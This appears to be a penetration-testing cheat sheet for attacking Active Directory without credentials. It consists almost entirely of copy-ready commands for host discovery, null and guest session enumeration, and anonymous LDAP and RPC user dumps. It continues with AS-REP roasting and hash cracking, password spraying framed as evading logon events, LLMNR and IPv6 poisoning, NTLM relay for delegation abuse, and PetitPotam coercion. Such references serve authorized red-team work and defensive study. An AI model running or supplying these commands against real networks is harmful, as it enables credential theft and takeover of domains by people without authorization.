Unauthenticated Enumeration
Everything you can pull from an AD environment without a single credential. Network discovery, null sessions, guest access, and protocol-level enumeration.
Sections Unauthenticated Enumeration
Network Discovery
Ping sweep to find live hosts on the subnet.
root@localhost:~# nmap -sn <SUBNET>/24 -oA discovery
Fast full port scan across the range.
root@localhost:~# masscan -p1-65535 <SUBNET>/24 --rate=1000 -oL ports.txt
Targeted service scan on common AD ports.
root@localhost:~# nmap -sC -sV -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,5986,9389 <TARGET> -oA ad_services
Discover SMB-enabled hosts with NetExec (also reveals hostnames, domain name, OS version, and signing status).
root@localhost:~# nxc smb <SUBNET>/24
Discover WinRM-enabled hosts.
root@localhost:~# nxc winrm <SUBNET>/24
Discover MSSQL instances.
root@localhost:~# nxc mssql <SUBNET>/24
Discover RDP-enabled hosts.
root@localhost:~# nxc rdp <SUBNET>/24
nxc smb sweep is your best first command. Domain name, DC hostname, SMB signing status, and OS version in one shot.Null & Guest Session Checks
SMB
Test null session. [SMB]
root@localhost:~# nxc smb <DC_IP> -u '' -p ''
Test guest access. [SMB]
root@localhost:~# nxc smb <DC_IP> -u 'guest' -p ''
LDAP
Test anonymous LDAP bind. [LDAP]
root@localhost:~# ldapsearch -H ldap://<DC_IP> -x -b 'DC=domain,DC=local'
RPC
Test null session via RPC. [RPC]
root@localhost:~# rpcclient -U '' -N <DC_IP> -c 'enumdomusers'
SMB Enumeration (No Creds)
Share Enumeration
List shares via null session. [SMB]
root@localhost:~# nxc smb <DC_IP> -u '' -p '' --shares
List shares with guest access. [SMB]
root@localhost:~# nxc smb <DC_IP> -u 'guest' -p '' --shares
User Enumeration
Enumerate domain users via RID brute-forcing (works if null session is allowed). [SMB]
root@localhost:~# nxc smb <DC_IP> -u '' -p '' --rid-brute 10000
RID brute with guest. [SMB]
root@localhost:~# nxc smb <DC_IP> -u 'guest' -p '' --rid-brute 10000
10000 or higher to catch service accounts with high RIDs.Password Policy
Enumerate password policy (check before spraying). [SMB]
root@localhost:~# nxc smb <DC_IP> -u '' -p '' --pass-pol
With guest. [SMB]
root@localhost:~# nxc smb <DC_IP> -u 'guest' -p '' --pass-pol
SMB Signing
Identify hosts with SMB signing disabled (relay targets). [SMB]
root@localhost:~# nxc smb <SUBNET>/24 --gen-relay-list relay_targets.txt
ntlmrelayx target list. Run this early.LDAP Enumeration (No Creds)
These only work if the DC allows anonymous LDAP binds.
Enumerate base naming context. [LDAP]
root@localhost:~# ldapsearch -H ldap://<DC_IP> -x -s base namingContexts
Dump users (anonymous). [LDAP]
root@localhost:~# ldapsearch -H ldap://<DC_IP> -x -b 'DC=domain,DC=local' '(objectClass=user)' sAMAccountName
Dump groups (anonymous). [LDAP]
root@localhost:~# ldapsearch -H ldap://<DC_IP> -x -b 'DC=domain,DC=local' '(objectClass=group)' cn
Dump computers (anonymous). [LDAP]
root@localhost:~# ldapsearch -H ldap://<DC_IP> -x -b 'DC=domain,DC=local' '(objectClass=computer)' cn dNSHostName
RPC Enumeration (No Creds)
Enumerate domain users. [RPC]
root@localhost:~# rpcclient -U '' -N <DC_IP> -c 'enumdomusers'
Enumerate domain groups. [RPC]
root@localhost:~# rpcclient -U '' -N <DC_IP> -c 'enumdomgroups'
Get domain password policy. [RPC]
root@localhost:~# rpcclient -U '' -N <DC_IP> -c 'getdompwinfo'
Look up SIDs to find the domain SID. [RPC]
root@localhost:~# rpcclient -U '' -N <DC_IP> -c 'lsaquery'
Enumerate printers (check for PrinterBug). [RPC]
root@localhost:~# rpcclient -U '' -N <DC_IP> -c 'enumprinters'
DNS Enumeration
Zone transfer attempt (rarely works, but always worth trying). [DNS]
root@localhost:~# dig axfr <DOMAIN_FQDN> @<DC_IP>
Reverse lookup sweep to map IPs to hostnames.
root@localhost:~# nmap -sn <SUBNET>/24 -oG - | awk '/Up/{print $2}' | while read ip; do nslookup "$ip" <DC_IP> 2>/dev/null; done
Kerberos Enumeration (No Creds)
Username Enumeration
Enumerate valid usernames via Kerberos (fast, no lockout risk). [Kerberos]
root@localhost:~# kerbrute userenum -d <DOMAIN_FQDN> --dc <DC_IP> usernames.txt
xato-net-10-million-usernames.txt, combined with common AD naming conventions like first.last).AS-REP Roasting
Extract AS-REP hashes for accounts with Kerberos pre-auth disabled. [Kerberos]
root@localhost:~# impacket-GetNPUsers <DOMAIN>/ -dc-ip <DC_IP> -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt
Auto-enumerate users via LDAP if null bind is allowed. [Kerberos]
root@localhost:~# impacket-GetNPUsers <DOMAIN>/ -dc-ip <DC_IP> -request -format hashcat -outputfile asrep_hashes.txt
Crack with hashcat (mode 18200).
root@localhost:~# hashcat -m 18200 asrep_hashes.txt wordlist.txt
Password Spraying
Spray a single password against discovered usernames. [SMB]
root@localhost:~# nxc smb <DC_IP> -u users.txt -p '<PASSWORD>' --continue-on-success
Kerberos-based password spray (doesn’t trigger typical logon events). [Kerberos]
root@localhost:~# kerbrute passwordspray -d <DOMAIN_FQDN> --dc <DC_IP> users.txt '<PASSWORD>'
Poisoning & Relay (No Creds)
LLMNR / NBT-NS / mDNS Poisoning
Capture NTLMv2 hashes on the local network.
root@localhost:~# responder -I eth0 -dwPv
-A for analyze mode first to see traffic without poisoning.SMB Relay
Relay captured NTLM auth to hosts with SMB signing disabled.
root@localhost:~# impacket-ntlmrelayx -tf relay_targets.txt -smb2support
Relay to LDAP for creating a machine account or setting RBCD. [LDAP]
root@localhost:~# impacket-ntlmrelayx -t ldap://<DC_IP> --delegate-access
IPv6 DNS Poisoning
Poison IPv6 DNS via WPAD and relay to LDAP. [IPv6] [LDAP]
# Terminal 1 (poison)
root@localhost:~# mitm6 -d <DOMAIN_FQDN>
# Terminal 2 (relay to LDAP)
root@localhost:~# impacket-ntlmrelayx -6 -t ldaps://<DC_IP> --delegate-access -wh wpad.<DOMAIN_FQDN>
Unauthenticated Coercion
Coerce authentication from unpatched DCs using PetitPotam (no creds). [MS-EFSRPC]
root@localhost:~# python3 PetitPotam.py <LISTENER_IP> <DC_IP>